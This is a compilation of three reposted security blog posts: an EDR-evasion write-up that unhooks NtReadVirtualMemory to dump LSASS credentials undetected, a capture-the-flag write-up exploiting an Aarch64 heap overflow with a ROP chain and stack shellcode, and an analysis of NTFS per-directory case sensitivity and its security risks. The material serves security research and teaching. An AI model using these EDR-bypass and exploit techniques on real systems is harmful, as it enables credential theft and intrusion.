And what do you know, I got a handle with FULL CONTROL over lsass.exe. The EDR did not make a single fuzz about this. This is when I realized, I started off the approach the wrong way and the EDR never really cared about you gaining the handle access. It is what you do afterward with that handle that will come under scrutiny.

Back on Track

Knowing there was no fancy trick in getting a full control handle to lsass.exe, we can now move forward to find the next point of the issue. Immediately calling MiniDumpWriteDump() with the handle failed spectacularly.

Let’s dissect this warning further. “Violation: LsassRead”. I didn’t read anything, what are you talking about? I just want to do a dump of the process. However, I also know that to make a dump of a remote process, there must be some sort of WINAPI being called such as ReadProcessMemory (RPM) inside MiniDumpWriteDump(). Let’s look at MiniDumpWriteDump’s source code at ReactOS.

Multiple calls to RPM

As you can see by, the function (2) dump_exception_info(), as well as many other functions, relies on (3) RPM to perform its duty. These functions are referenced by MiniDumpWriteDump (1) and this is probably the root of our issue. Now here is where a bit of experience comes into play. You must understand the Windows System Internal and how WINAPIs are processed. Using ReadProcessMemory as an example — it works like this.

ReadProcessMemory is just a wrapper. It does a bunch of sanity check such as nullptr check. That is all RPM does. However, RPM also calls a function “NtReadVirtualMemory”, which sets up the registers before doing a syscall instruction. Syscall instruction is just telling the CPU to enter kernel mode which then another function ALSO named NtReadVirtualMemory is called, which does the actual logic of what ReadProcessMemory is supposed to do.

— — — — — -Userland — — — —- — — — | — — — Kernel Land — — — —

RPM — > NtReadVirtualMemory —> SYSCALL->NtReadVirtualMemory

Kernel32 — — -ntdll — — — — — — — — — - — — — — — ntoskrnl

With that knowledge, we now must identify HOW the EDR product is detecting and stopping the RPM/NtReadVirtualMemory call. This comes as a simple answer which is “hooking”. Please refer to my previous post regarding hooking here for more information. In short, it gives you the ability to put your code in the middle of any function and gain access to the arguments as well as the return variable. I am 100% sure that the EDR is using some sort of hook through one or more of the various techniques that I mentioned.

However, readers should know that most if not all EDR products are using a service, specifically a driver running inside kernel mode. With access to the kernel mode, the driver could perform the hook at ANY of the level in the RPM’s callstack. However, this opens up a huge security hole in a Windows environment if it was trivial for any driver to hook ANY level of a function. Therefore, a solution is to put forward to prevent modification of such nature and that solution is known as Kernel Patch Protection (KPP or Patch Guard). KPP scans the kernel on almost every level and will triggers a BSOD if a modification is detected. This includes ntoskrnl portion which houses the WINAPI’s kernel level’s logic. With this knowledge, we are assured that the EDR would not and did not hook any kernel level function inside that portion of the call stack, leaving us with the user-land’s RPM and NtReadVirtualMemory calls.

The Hook

To see where the function is located inside our application’s memory, it is as trivial as a printf with %p format string and the function name as the argument, such as below.

However, unlike RPM, NtReadVirtualMemory is not an exported function inside ntdll and therefore you cannot just reference to the function like normal. You must specify the signature of the function as well as linking ntdll.lib into your project to do so.

With everything in place, let’s run it and take a look!

Now, this provides us with the address of both RPM and ntReadVirtualMemory. I will now use my favorite reversing tool to read the memory and analyze its structure, Cheat Engine.

ReadProcessMemory
NtReadVirtualMemory

For the RPM function, it looks fine. It does some stack and register set up and then calls ReadProcessMemory inside Kernelbase (Topic for another time). Which would eventually leads you down into ntdll’s NtReadVirtualMemory. However, if you look at NtReadVirtualMemory and know what the most basic detour hook look like, you can tell that this is not normal. The first 5 bytes of the function is modified and the rest are left as-is. You can tell this by looking at other similar functions around it. All the other functions follows a very similar format:

0x4C, 0x8B, 0xD1, // mov r10, rcx; NtReadVirtualMemory

0xB8, 0x3c, 0x00, 0x00, 0x00, // eax, 3ch — aka syscall id

0x0F, 0x05, // syscall

0xC3 // retn

With one difference being the syscall id (which identifies the WINAPI function to be called once inside kernel land). However, for NtReadVirtualMemory, the first instruction is actually a JMP instruction to an address somewhere else in memory. Let’s follow that.

CyMemDef64.dll

Okay, so we are no longer inside ntdll’s module but instead inside CyMemdef64.dll’s module. Ahhhhh now I get it.

The EDR placed a jump instruction where the original NtReadVirtualMemory function is supposed to be, redirect the code flow into their own module which then checked for any sort of malicious activity. If the checks fail, the Nt* function would then return with an error code, never entering the kernel land and execute to begin with.

The Bypass

It is now very self-evident what the EDR is doing to detect and stop our WINAPI calls. But how do we get around that? There are two solutions.

Re-Patch the Patch

We know what the NtReadVirtualMemory function SHOULD looks like and we can easily overwrite the jmp instruction with the correct instructions. This will stop our calls from being intercepted by CyMemDef64.dll and enter the kernel where they have no control over.

Ntdll IAT Hook

We could also create our own function, similar to what we are doing in Re-Patch the Patch, but instead of overwriting the hooked function, we will recreate it elsewhere. Then, we will walk Ntdll’s Import Address Table, swap out the pointer for NtReadVirtualMemory and points it to our new fixed_NtReadVirtualMemory. The advantage of this method is that if the EDR decides to check on their hook, it will looks unmodified. It just is never called and the ntdll IAT is pointed elsewhere.

The Result

I went with the first approach. It is simple, and it allows me to get out the blog quicker :). However, it would be trivial to do the second method and I have plans on doing just that within a few days. Introducing AndrewSpecial, for my manager Andrew who is currently battling a busted appendix in the hospital right now. Get well soon man.

AndrewSpecial.exe was never caught 😛

Conclusion

This currently works for this particular EDR, however — It would be trivial to reverse similar EDR products and create a universal bypass due to their limitation around what they can hook and what they can’t (Thank you KPP).

Did I also mention that this works on both 64 bit (on all versions of windows) and 32 bits (untested)? And the source code is available HERE.

Thank you again for your time and please let me know if I made any mistake.

ROP-ing on Aarch64 — The CTF Style

Original text by Perfect Blue

Aarch64 basics

Before we dive into the challenge, let’s just skim over the basics quickly. I’ll try to explain everything to the best of my ability and knowledge.

Registers

Aarch64 has 31 general purpose registers, x0 to x30. Since it’s a 64 bit architechture, all the registers are 64 bit. But we can access the lower 32 bits of thes registers by using them with the w prefix, such as w0 and w1.

There is also a 32nd register, known as xzr or the zero register. It has multiple uses which I won’t go into but in certain contexts, it is used as the stack pointer (esp equivalent) and is thereforce aliased as sp.

Instructions

Here are some basic instructions:

  • mov
     — Just like it’s x86 counterpart, copies one register into another. It can also be used to load immediate values. mov x0, x1; copies x1 into x0 mov x1, 0x4141; loads the value 0x4141 in x1
  • str
    /
    ldr
     — store and load register. Basically stores and loads a register from the given pointer. str x0, [x29]; store x0 at the address in x29 ldr x0, [x29]; load the value from the address in x29 into x0
    • stp
      /
      ldp
       — store and load a pair of registers. Same as 
      str
      /
      ldr
       but instead with a pair of registers stp x29, x30, [sp]; store x29 at sp and x30 at sp+8
  • bl
    /
    blr
     — Branch link (to register). The x86 equivalent is 
    call
    . Basically jumps to a subroutine and stores the return address in x30. blr x0; calls the subroutine at the address stored in x0
  • b
    /
    br
     — Branch (to register). The x86 equivalent is 
    jmp
    . Basically jumps to the specified address br x0; jump to the address stored in x0
  • ret
     — Unlike it’s x86 equivalent which pops the return address from stack, it looks for the return address in the x30 register and jumps there.

Indexing modes

Unlike x86, load/store instructions in Aarch64 has three different indexing “modes” to index offsets:

  • Immediate offset : 
    [base, #offset]
     — Index an offset directly and don’t mess with anything else ldr x0, [sp, 0x10]; load x0 from sp+0x10
  • Pre-indexed : 
    [base, #offset]!
     — Almost the same as above, except that base+offset is written back into base. ldr x0, [sp, 0x10]!; load x0 from sp+0x10 and then increase sp by 0x10
  • Post-indexed : 
    [base], #offset
     — Use the base directly and then write base+offset back into the base ldr x0, [sp], 0x10; load x0 from sp and then increase sp by 0x10

Stack and calling conventions

  • The registers x0 to x7 are used to pass parameters to subroutines and extra parameters are passed on the stack.
  • The return address is stored in x30, but during nested subroutine calls, it gets preserved on the stack. It is also known as the link register.
  • The x29 register is also known as the frame pointer and it’s x86 equivalent is ebp. All the local variables on the stack are accessed relative to x29 and it holds a pointer to the previous stack frame, just like in x86.
    • One interesting thing I noticed is that even though ebp is always at the bottom of the current stack frame with the return address right underneath it, the x29 is stored at an optimal position relative to the local variables. In my minimal testcases, it was always stored on the top of the stack (along with the preserved x30) and the local variables underneath it (basically a flipped oritentation compared to x86).

The challenge

We are provided with the challenge files and the following description:

Challenge runs on ubuntu 18.04 aarch64, chrooted

It comes with the challenge binary, the libc and a placeholder flag file. It was the mentioned that the challenge is being run in a chroot, so we probably can’t get a shell and would need to do a open/read/write ropchain.

The first thing we need is to set-up an environment. Fortunately, AWS provides pre-built Aarch64 ubuntu server images and that’s what we will use from now on.

Part 1 — The heap

Not Yet Another Note Challenge...
====== menu ======
1. alloc
2. view
3. edit
4. delete
5. quit

We are greeted with a wonderful and familiar (if you’re a regular CTFer) prompt related to heap challenges.

Playing with it a little, we discover an int underflow in the alloc function, leading to a heap overflow in the edit function:

__int64 do_add()
{
  __int64 v0; // x0
  int v1; // w0
  signed __int64 i; // [xsp+10h] [xbp+10h]
  __int64 v4; // [xsp+18h] [xbp+18h]

  for ( i = 0LL; ; ++i )
  {
    if ( i > 7 )
      return puts("no more room!");
    if ( !mchunks[i].pointer )
      break;
  }
  v0 = printf("len : ");
  v4 = read_int(v0);
  mchunks[i].pointer = malloc(v4);
  if ( !mchunks[i].pointer )
    return puts("couldn't allocate chunk");
  printf("data : ");
  v1 = read(0LL, mchunks[i].pointer, v4 - 1);
  LOWORD(mchunks[i].size) = v1;
  *(_BYTE *)(mchunks[i].pointer + v1) = 0;
  return printf("chunk %d allocated\n");
}

__int64 do_edit()
{
  __int64 v0; // x0
  __int64 result; // x0
  int v2; // w0
  __int64 v3; // [xsp+10h] [xbp+10h]

  v0 = printf("index : ");
  result = read_int(v0);
  v3 = result;
  if ( result >= 0 && result <= 7 )
  {
    result = LOWORD(mchunks[result].size);
    if ( LOWORD(mchunks[v3].size) )
    {
      printf("data : ");
      v2 = read(0LL, mchunks[v3].pointer, (unsigned int)LOWORD(mchunks[v3].size) - 1);
      LOWORD(mchunks[v3].size) = v2;
      result = mchunks[v3].pointer + v2;
      *(_BYTE *)result = 0;
    }
  }
  return result;
}

If we enter 0 as 

len
 in alloc, it would allocate a valid heap chunk and read -1 bytes into it. Because read uses unsigned values, -1 would become 0xffffffffffffffff and the read would error out as it’s not possible to read such a huge value.

With read erroring out, the return value (-1 for error) would then be stored in the 

size
 member of the global chunk struct. In the edit function, the 
size
 is used as a 16 bit unsigned int, so -1 becomes 0xffff, leading to the overflow

Since this post is about ROP-ing and the heap in Aarch64 is almost the same as x86, I’ll just be skimming over the heap exploit.

  • Because there was no 
    free()
     in the binary, we overwrote the size of the top_chunk which got freed in the next allocation, giving us a leak.
  • Since the challenge server was using libc2.27, tcache was available which made our lives a lot easier. We could just overwrite the FD of the top_chunk to get an arbitrary allocation.
  • First we leak a libc address, then use it to get a chunk near 
    environ
    , leaking a stack address. Finally, we allocate a chunk near the return address (saved x30 register) to start writing our ROP-chain.

Part 2 — The ROP-chain

Now starts the interesting part. How do we find ROP gadgets in Aarch64?

Fortunately for us, ropper supports Aarch64. But what kind of gadgets exist in Aarch64 and how can we use them?

$ ropper -f libc.so.6 
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%



Gadgets
=======


0x00091ac4: add sp, sp, #0x140; ret; 
0x000bf0dc: add sp, sp, #0x150; ret; 
0x000c0aa8: add sp, sp, #0x160; ret; 
....

Aaaaand we are blasted with a shitload of gadgets.

  • Most of the these are actually not very useful as the 
    ret
     depends on the x30 register. The address in x30 is where gadget will return when it executes a 
    ret
    .
  • If the gadget doesn’t modify x30 in a way we can control it, we won’t be able to control the exectuion flow and get to the next gadget.

So to get a ROP-chain running in Aarch64, we can only use the gadgets which:

  • perform the function we want
  • pop x30 from the stack
  • ret

With our heap exploit, we were only able to allocate a 0x98 chunk on the stack and the whole open/read/write chain would take a lot more space, so the first thing we need is to read in a second ROP-chain.

One way to do that is to call 

gets(stack_address)
, so we can basically write an infinite ROP-chain on the stack (provided no newlines).

So how do we call 

gets()
? It’s a libc function and we already have a libc leak, the only thing we need is to get the address of 
gets
 in x30 and a stack address in x0 (function parameters are passedin x0 to x7).

After a bit of gadget hunting, here is the gadget I settled upon:

0x00062554: ldr x0, [x29, #0x18]; ldp x29, x30, [sp], #0x20; ret;

It essentially loads x0 from x29+0x18 and then pop x29 and x30 from the top of the stack (

ldp xx,xy [sp]
 is essentially equal to popping). It then moves stack down by 0x20 (sp+0x20 in post indexed addressing).

In almost all the gadgets, most of loads/stores are done relative to x29 so we need to make sure we control it properely too.

Here is how the stack looks at the epilogue of the 

alloc
 function just before the execution of our first gadget.

stack_code

It pops the x29 and x30 from the stack and returns, jumping to our first gadget. Since we control x29, we control x0.

Now the only thing left is to return to 

gets
, but it won’t work if we return directly at the top of 
gets
.

Why? Let’s look at the prologue of 

gets

<_IO_gets>:    stp    x29, x30, [sp, #-48]!
<_IO_gets+4>:    mov    x29, sp

gets
 assume that the return address is in x30 (it would be in a normal execution) and thus it tries to preserve it on the stack along with x29.

Unfortunately for us, since we reached there with 

ret
, the x30 holds the address of 
gets
 itself.

If this continues, it would pop the preserved x30 at the end of 

gets
 and then jump back to 
gets
 again in an infinite loop.

To bypass it, we use a simple trick and return at 

gets+0x8
, skipping the preservation. This way, when it pops x30 at the end, we would be able to control it and jump to our next gadget.

This is the rough sketch of our first stage ROP-chain:

gadget = libcbase + 0x00062554 #0x0000000000062554 : ldr x0, [x29, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret // to control x0

payload = ""

payload += p64(next_x29) + p64(gadget) + p64(0x0) + p64(0x8) # 0x0 and 0x8 are the local variables that shouldn't be overwritten
payload += p64(next_x29) + p64(gets_address) + p64(0x0) + p64(new_x29_stack) # Link register pointing to the next frame + gets() of libc + just a random stack variable + param popped by gadget_1 into x1 (for param of gets)

Now that we have infinite space for our second stage ROP-chain, what should we do?

At first we decided to do the open/read/write all in ROP but it would make it unnecessarily long and complex, so instead we 

mprotect()
 the stack to make it executable and then jump to shellcode we placed on the stack.

mprotect
 takes 3 arguments, so we need to control x0, x1 and x2 to succeed.

Well, we began gadget hunting again. We already control x0, so we found this gadget:

gadget_1 = 0x00000000000ed2f8 : mov x1, x0 ; ret

At first glance, it looks perfect, copying x0 into x1. But if you have been paying close attention, you would realize it doesn’t modify x30, so we won’t be able to control execution beyond this.

What if we take a page from JOP (jump oriented programming) and find a gadget which given us the control of x30 and then jumps (not call) to another user controlled address?

gadget_2 = 0x000000000006dd74 :ldp x29, x30, [sp], #0x30 ; br x3

Oh wowzie, this one gives us the control of x30 and then jumps to x3. Now we just need to control x3…..

gadget_3 = 0x000000000003f8c8 : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret

gadget_4 = 0x0000000000026dc4 : mov x3, x19 ; mov x2, x26 ; blr x20

The first gadget here gives us control of x19 and x20, the second one moves x19 into x3 and calls x20.

Chaining these two, we can control x3 and still have control over the execution.

Here’s our plan:

  • Have x0 as 0x500 (mprotect length) with the same gadget we used before
  • Use gadget_3 to make x19 = gadget_1 and x20 = gadget_2
  • return to gadget_4 from gadget_3, making x3 = x19 (gadget_1)
  • gadget_4 calls x20 (gadget_2)
  • gadget_2 gives us a controlled x30 and jumps to x3 (gadget_1)
  • gadget_1 moves x0 (0x500) into x1 and returns

Here’s the rough code equivalent:

payload = ""

payload += p64(next_x29) + p64(gadget_3) + p64(0x0) * x (depends on stack) #returns to gadget_3

payload += p64(next_x29) + p64(gadget_4) + p64(gadget_1) + p64(gadget_2) + p64(0x0) * 4 # moves gadget_1/3 into x19/20 and returns to gadget_4

payload += p64(next_x29) + p64(next_gadget) #setting up for the next gadget and moving x19 into x3. x20 (gadget_2) is called from gadget_4

That was haaard, now let’s see how we can control x2…

gadget_6 = 0x000000000004663c : mov x2, x21 ; blr x3

This is the only new gadget we need. It moves x21 into x2 and calls x3. We can already control x21 and x3 with the help of gadget_4 and gadget_3.

Now that we have full control over x0, x1 and x2, we just need to put it all together and shellcode the flag read. I won’t go into details about that.

And that’s a wrap folks, you can find our final exploit here

NTFS Case Sensitivity on Windows

Original text by Tyranid’s Lair

Back in February 2018 Microsoft released on interesting blog post (link) which introduced per-directory case-sensitive NTFS support. MS have been working on making support for WSL more robust and interop between the Linux and Windows side of things started off a bit rocky. Of special concern was the different semantics between traditional Unix-like file systems and Windows NTFS.

I always keep an eye out for new Windows features which might have security implications and per-directory case sensitivity certainly caught my attention. With 1903 not too far off I thought it was time I actual did a short blog post about per-directory case-sensitivity and mull over some of the security implications. While I’m at it why not go on a whistle-stop tour of case sensitivity in Windows NT over the years.

Disclaimer. I don’t currently and have never previously worked for Microsoft so much of what I’m going to discuss is informed speculation.

The Early Years

The Windows NT operating system has had the ability to have case-sensitive files since the very first version. This is because of the OS’s well known, but little used, POSIX subsystem. If you look at the documentation for CreateFile you’ll notice a flag, FILE_FLAG_POSIX_SEMANTICS which is used for the following purposes:«Access will occur according to POSIX rules. This includes allowing multiple files with names, differing only in case, for file systems that support that naming.»
It’s make sense therefore that all you’d need to do to get a case-sensitive file system is use this flag exclusively. Of course being an optional flag it’s unlikely that the majority of Windows software will use it correctly. You might wonder what the flag is actually doing, as CreateFile is not a system call. If we dig into the code inside KERNEL32 we’ll find the following:
BOOL CreateFileInternal(LPCWSTR lpFileName,…, DWORD dwFlagsAndAttributes){ // … OBJECT_ATTRIBUTES ObjectAttributes;if(dwFlagsAndAttributes & FILE_FLAG_POSIX_SEMANTICS){ ObjectAttributes.Attributes = 0;}else{ ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;} NtCreateFile(…,&ObjectAttributes,…);}
This code shows that if the FILE_FLAG_POSIX_SEMANTICS flag is set, the the Attributes member of the OBJECT_ATTRIBUTES structure passed to NtCreateFile is initialized to 0. Otherwise it’s initialized with the flag OBJ_CASE_INSENSITIVE. The OBJ_CASE_INSENSITIVE instructs the Object Manager to do a case-insensitive lookup for a named kernel object. However files do not directly get parsed by the Object Manager, so the IO manager converts this flag to the IO_STACK_LOCATION flag SL_CASE_SENSITIVE before handing it off to the file system driver in an IRP_MJ_CREATE IRP. The file system driver can then honour that flag or not, in the case of NTFS it honours it and performs a case-sensitive file search instead of the default case-insensitive search.
Aside. Specifying FILE_FLAG_POSIX_SEMANTICS supports one other additional feature of CreateFile that I can see. By specifying FILE_FLAG_BACKUP_SEMANTICS, FILE_FLAG_POSIX_SEMANTICS  and FILE_ATTRIBUTE_DIRECTORY in the dwFlagsAndAttributes parameter and CREATE_NEW as the dwCreationDisposition parameter the API will create a new directory and return a handle to it. This would normally require calling CreateDirectory, then a second call to open or using the native NtCreateFile system call.
NTFS always supported case-preserving operations, so creating the file AbC.txt will leave the case intact. However when it does an initial check to make sure the file doesn’t already exist if you request abc.TXT then NTFS would find it during a case-insensitive search. If the create is done case-sensitive then NTFS won’t find the file and you can now create the second file. This allows NTFS to support full case-sensitivity. 
It seems too simple to create files in a case-sensitive manner, just use the FILE_FLAG_POSIX_SEMANTICSflag or don’t pass OBJ_CASE_INSENSITIVE to NtCreateFile. Let’s try that using PowerShell on a default installation on Windows 10 1809 to see if that’s really the case.

Opening the file AbC.txt with OBJ_CASE_INSENSITIVE and without.

First we create a file with the name AbC.txt, as NTFS is case preserving this will be the name assigned to it in the file system. We then open the file first with the OBJ_CASE_INSENSITIVE attribute flag set and specifying the name all in lowercase. As expected we open the file and displaying the name shows the case-preserved form. Next we do the same operation without the OBJ_CASE_INSENSITIVE flag, however unexpectedly it still works. It seems the kernel is just ignoring the missing flag and doing the open case-insensitive. 
It turns out this is by design, as case-insensitive operation is defined as opt-in no one would ever correctly set the flag and the whole edifice of the Windows subsystem would probably quickly fall apart. Therefore honouring enabling support for case-sensitive operation is behind a Session Manager Kernel Registry valueObCaseInsensitive. This registry value is reflected in the global kernel variable, ObpCaseInsensitivewhich is set to TRUE by default. There’s only one place this variable is used, ObpLookupObjectName, which looks like the following:
NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes,…){ // … DWORD Attributes = ObjectAttributes->Attributes;if(ObpCaseInsensitive){ Attributes |= OBJ_CASE_INSENSITIVE;} // Continue lookup. }
From this code we can see if ObpCaseInsensitive set to TRUE then regardless of the Attribute flags passed to the lookup operation OBJ_CASE_INSENSITIVE is always set. What this means is no matter what you do you can’t perform a case-sensitive lookup operation on a default install of Windows. Of course if you installed the POSIX subsystem you’ll typically find the kernel variable set to FALSE which would enable case-sensitive operation for everyone, at least if they forget to set the flags. 
Let’s try the same test again with PowerShell but make sure ObpCaseInsensitive is FALSE to see if we now get the expected operation.

Running the same tests but with ObpCaseInsensitive set to FALSE. With OBJ_CASE_INSENSITIVE the file open succeeds, without the flag it fails with an error.

With the OBJ_CASE_INSENSITIVE flag set we can still open the file AbC.txt with the lower case name. However without specifying the flag we we get STATUS_OBJECT_NAME_NOT_FOUND which indicates the lookup operation failed.

Windows Subsystem for Linux

Let’s fast forward to the introduction of WSL in Windows 10 1607. WSL needed some way of representing a typical case-sensitive Linux file system. In theory the developers could have implemented it on top of a case-insensitive file system but that’d likely introduce too many compatibility issues. However just disabling ObCaseInsensitive globally would likely introduce their own set of compatibility issues on the Windows side. A compromise was needed to support case-sensitive files on an existing volume.
AsideIt could be argued that Unix-like operating systems (including Linux) don’t have a case-sensitive file system at all, but a case-blind file system. Most Unix-like file systems just treat file names on disk as strings of opaque bytes, either the file name matches a sequence of bytes or it doesn’t. The file system doesn’t really care whether any particular byte is a lower or upper case character. This of course leads to interesting problems such as where two file names which look identical to a user can have different byte representations resulting in unexpected failures to open files. Some file systems such macOS’s HFS+ use Unicode Normalization Forms to make file names have a canonical byte representation to make this easier but leads to massive additional complexity, and was infamously removed in the successor APFS.
This compromise can be found back in ObpLookupObjectName as shown below:
NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes,…){ // … DWORD Attributes = ObjectAttributes->Attributes;if(ObpCaseInsensitive && KeGetCurrentThread()->CrossThreadFlags.ExplicitCaseSensitivity == FALSE){ Attributes |= OBJ_CASE_INSENSITIVE;} // Continue lookup. }
In the code we now find that the existing check for ObpCaseInsensitive is augmented with an additional check on the current thread’s CrossThreadFlags for the ExplicitCaseSensitivity bit flag. Only if the flag is not set will case-insensitive lookup be forced. This looks like a quick hack to get case-sensitive files without having to change the global behavior. We can find the code which sets this flag in NtSetInformationThread.
NTSTATUS NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength){switch(ThreadInformationClass){case ThreadExplicitCaseSensitivity:if(ThreadInformationLength !=sizeof(DWORD))return STATUS_INFO_LENGTH_MISMATCH; DWORD value =*((DWORD*)ThreadInformation);if(value){if(!SeSinglePrivilegeCheck(SeDebugPrivilege, PreviousMode))return STATUS_PRIVILEGE_NOT_HELD;if(!RtlTestProtectedAccess(Process, 0x51))return STATUS_ACCESS_DENIED;}if(value) Thread->CrossThreadFlags.ExplicitCaseSensitivity = TRUE;else Thread->CrossThreadFlags.ExplicitCaseSensitivity = FALSE;break;} // … }
Notice in the code to set the the ExplicitCaseSensitivity flag we need to have both SeDebugPrivilege and be a protected process at level 0x51 which is PPL at Windows signing level. This code is from Windows 10 1809, I’m not sure it was this restrictive previously. However for the purposes of WSL it doesn’t matter as all processes are gated by a system service and kernel driver so these checks can be easily bypassed. As any new thread for a WSL process must go via the Pico process driver this flag could be automatically set and everything would just work.

Per-Directory Case-Sensitivity

A per-thread opt-out from case-insensitivity solved the immediate problem, allowing WSL to create case-sensitive files on an existing volume, but it didn’t help Windows applications inter-operating with files created by WSL. I’m guessing NTFS makes no guarantees on what file will get opened if performing a case-insensitive lookup when there’s multiple files with the same name but with different case. A Windows application could easily get into difficultly trying to open a file and always getting the wrong one. Further work was clearly needed, so introduced in 1803 was the topic at the start of this blog, Per-Directory Case Sensitivity. 
The NTFS driver already handled the case-sensitive lookup operation, therefore why not move the responsibility to enable case sensitive operation to NTFS? There’s plenty of spare capacity for a simple bit flag. The blog post I reference at the start suggests using the fsutil command to set case-sensitivity, however of course I want to know how it’s done under the hood so I put fsutil from a Windows Insider build into IDA to find out what it was doing. Fortunately changing case-sensitivity is now documented. You pass the FILE_CASE_SENSITIVE_INFORMATION structure with the FILE_CS_FLAG_CASE_SENSITIVE_DIRset via NtSetInformationFile to a directory. with the FileCaseSensitiveInformation information class. We can see the implementation for this in the NTFS driver.
NTSTATUS NtfsSetCaseSensitiveInfo(PIRP Irp, PNTFS_FILE_OBJECT FileObject){if(FileObject->Type != FILE_DIRECTORY){return STATUS_INVALID_PARAMETER;} NSTATUS status = NtfsCaseSensitiveInfoAccessCheck(Irp, FileObject);if(NT_ERROR(status))return status; PFILE_CASE_SENSITIVE_INFORMATION info = (PFILE_CASE_SENSITIVE_INFORMATION)Irp->AssociatedIrp.SystemBuffer;if(info->Flags & FILE_CS_FLAG_CASE_SENSITIVE_DIR){if((g_NtfsEnableDirCaseSensitivity & 1)== 0)return STATUS_NOT_SUPPORTED;if((g_NtfsEnableDirCaseSensitivity & 2)&&!NtfsIsFileDeleteable(FileObject)){return STATUS_DIRECTORY_NOT_EMPTY;} FileObject->Flags |= 0x400;}else{if(NtfsDoesDirHaveCaseDifferingNames(FileObject)){return STATUS_CASE_DIFFERING_NAMES_IN_DIR;} FileObject->Flags &=~0x400;}return STATUS_SUCCESS;}
There’s a bit to unpack here. Firstly you can only apply this to a directory, which makes some sense based on the description of the feature. You also need to pass an access check with the call NtfsCaseSensitiveInfoAccessCheck. We’ll skip over that for a second. 
Next we go into the actual setting or unsetting of the flag. Support for Per-Directory Case-Sensitivity is not enabled unless bit 0 is set in the global g_NtfsEnableDirCaseSensitivity variable. This value is loaded from the value NtfsEnableDirCaseSensitivity in HKLM\SYSTEM\CurrentControlSet\Control\FileSystem, the value is set to 0 by default. This means that this feature is not available on a fresh install of Windows 10, almost certainly this value is set when WSL is installed, but I’ve also found it on the Microsoft app-development VMwhich I don’t believe has WSL installed, so you might find it enabled in unexpected places. The g_NtfsEnableDirCaseSensitivity variable can also have bit 1 set, which indicates that the directory must be empty before changing the case-sensitivity flag (checked with NtfsIsFileDeleteable) however I’ve not seen that enabled. If those checks pass then the flag 0x400 is set in the NTFS file object.
If the flag is being unset the only check made is whether the directory contains any existing colliding file names. This seems to have been added recently as when I originally tested this feature in an Insider Preview you could disable the flag with conflicting filenames which isn’t necessarily sensible behavior.
Going back to the access check, the code for NtfsCaseSensitiveInfoAccessCheck looks like the following:
NTSTATUS NtfsCaseSensitiveInfoAccessCheck(PIRP Irp, PNTFS_FILE_OBJECT FileObject){if(NtfsEffectiveMode(Irp)|| FileObject->Access & FILE_WRITE_ATTRIBUTES){ PSECURITY_DESCRIPTOR SecurityDescriptor; SECURITY_SUBJECT_CONTEXT SubjectContext; SeCaptureSubjectContext(&SubjectContext); NtfsLoadSecurityDescriptor(FileObject,&SecurityDescriptor);if(SeAccessCheck(SecurityDescriptor,&SubjectContext FILE_ADD_FILE | FILE_ADD_SUBDIRECTORY | FILE_DELETE_CHILD)){return STATUS_SUCCESS;}}return STATUS_ACCESS_DENIED;}
The first check ensures the file handle is opened with FILE_WRITE_ATTRIBUTES access, however that isn’t sufficient to enable the flag. The check also ensures that if an access check is performed on the directory’s security descriptor that the caller would be granted FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY and FILE_DELETE_CHILD access rights. Presumably this secondary check is to prevent situations where a file handle was shared to another process with less privileges but with FILE_WRITE_ATTRIBUTES rights. 
If the security check is passed and the feature is enabled you can now change the case-sensitivity behavior, and it’s even honored by arbitrary Windows applications such as PowerShell or notepad without any changes. Also note that the case-sensitivity flag is inherited by any new directory created under the original.

Showing setting case sensitive on a directory then using Set-Content and Get-Content to interact with the files.

Security Implications of Per-Directory Case-Sensitivity

Let’s get on to the thing which interests me most, what’s the security implications on this feature? You might not immediately see a problem with this behavior. What it does do is subvert the expectations of normal Windows applications when it comes to the behavior of file name lookup with no way of of detecting its use or mitigating against it. At least with the FILE_FLAG_POSIX_SEMANTICS flag you were only introducing unexpected case-sensitivity if you opted in, but this feature means the NTFS driver doesn’t pay any attention to the state of OBJ_CASE_INSENSITIVE when making its lookup decisions. That’s great from an interop perspective, but less great from a correctness perspective.
Some of the use cases I could see this being are problem are as follows:

  • TOCTOU where the file name used to open a file has its case modified between a security check and the final operation resulting in the check opening a different file to the final one. 
  • Overriding file lookup in a shared location if the create request’s case doesn’t the actual case of the file on disk. This would be mitigated if the flag to disable setting case-sensitivity on empty directories was enabled by default.
  • Directory tee’ing, where you replace lookup of an earlier directory in a path based on the state of the case-sensitive flag. This at least is partially mitigated by the check for conflicting file names in a directory, however I’ve no idea how robust that is.

I found it interesting that this feature also doesn’t use RtlIsSandboxToken to check the caller’s not in a sandbox. As long as you meet the access check requirements it looks like you can do this from an AppContainer, but its possible I missed something.  On the plus side this feature isn’t enabled by default, but I could imagine it getting set accidentally through enterprise imaging or some future application decides it must be on, such as Visual Studio. It’s a lot better from a security perspective to not turn on case-sensitivity globally. Also despite my initial interest I’ve yet to actual find a good use for this behavior, but IMO it’s only a matter of time 🙂